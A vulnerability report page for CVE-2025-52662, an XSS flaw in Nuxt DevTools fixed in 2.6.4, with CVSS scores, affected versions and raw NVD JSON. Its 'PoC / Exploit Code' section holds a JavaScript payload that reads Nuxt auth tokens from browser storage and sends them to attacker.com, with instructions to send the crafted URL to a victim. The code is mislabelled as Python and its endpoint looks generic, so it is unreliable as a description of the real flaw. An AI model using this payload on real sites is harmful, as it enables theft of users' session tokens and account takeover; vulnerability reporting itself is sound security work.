Security Vulnerability Report
中文
CVE-2025-52662 CVSS 6.9 MEDIUM

CVE-2025-52662

Published: 2025-11-07 01:15:37
Last Modified: 2026-02-04 21:01:07

Description

A vulnerability in Nuxt DevTools has been fixed in version **2.6.4***. This issue may have allowed Nuxt auth token extraction via XSS under certain configurations. All users are encouraged to upgrade. More details: https://vercel.com/changelog/cve-2025-52662-xss-on-nuxt-devtools

CVSS Details

CVSS Score
6.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nuxt:devtools:*:*:*:*:*:*:*:* - VULNERABLE
Nuxt DevTools < 2.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-52662 PoC - Nuxt DevTools XSS Token Extraction // This PoC demonstrates the XSS vulnerability in Nuxt DevTools const maliciousPayload = '<img src=x onerror="fetch(\"http://attacker.com/steal?token=\"+localStorage.getItem(\"nuxt-auth-token\"));">'; // Attack scenario: // 1. Attacker injects the malicious payload into a vulnerable Nuxt DevTools endpoint // 2. When victim visits the page, the XSS executes // 3. The script extracts auth token from localStorage // 4. Token is sent to attacker's controlled server function exploitNuxtDevTools(targetUrl) { // Craft malicious URL targeting Nuxt DevTools const exploitUrl = `${targetUrl}/__nuxt/devtools?payload=${encodeURIComponent(maliciousPayload)}`; // XSS execution to extract token const xssScript = ` (function() { // Extract Nuxt auth token from localStorage const token = localStorage.getItem('nuxt:auth:token') || localStorage.getItem('nuxt-auth-token') || sessionStorage.getItem('nuxt-auth-token'); if (token) { // Send token to attacker server fetch('http://attacker.com/api/collect?cve=CVE-2025-52662&token=' + encodeURIComponent(token)); } })(); `; return { exploitUrl: exploitUrl, xssPayload: xssScript, description: 'Induce victim to visit exploitUrl to trigger XSS and steal auth token' }; } // Usage: // const poc = exploitNuxtDevTools('https://target-nuxt-app.com'); // console.log('Send this URL to victim:', poc.exploitUrl); // Mitigation: Upgrade to Nuxt DevTools >= 2.6.4

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52662", "sourceIdentifier": "[email protected]", "published": "2025-11-07T01:15:36.803", "lastModified": "2026-02-04T21:01:06.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Nuxt DevTools has been fixed in version **2.6.4***. This issue may have allowed Nuxt auth token extraction via XSS under certain configurations. All users are encouraged to upgrade.\r\n\r\nMore details: https://vercel.com/changelog/cve-2025-52662-xss-on-nuxt-devtools"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nuxt:devtools:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.4", "matchCriteriaId": "F278FB41-9D03-4D9B-A487-441C058EAD9C"}]}]}], "references": [{"url": "https://github.com/nuxt/devtools/commit/7cadbbe9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vercel.com/changelog/cve-2025-52662-xss-on-nuxt-devtools", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}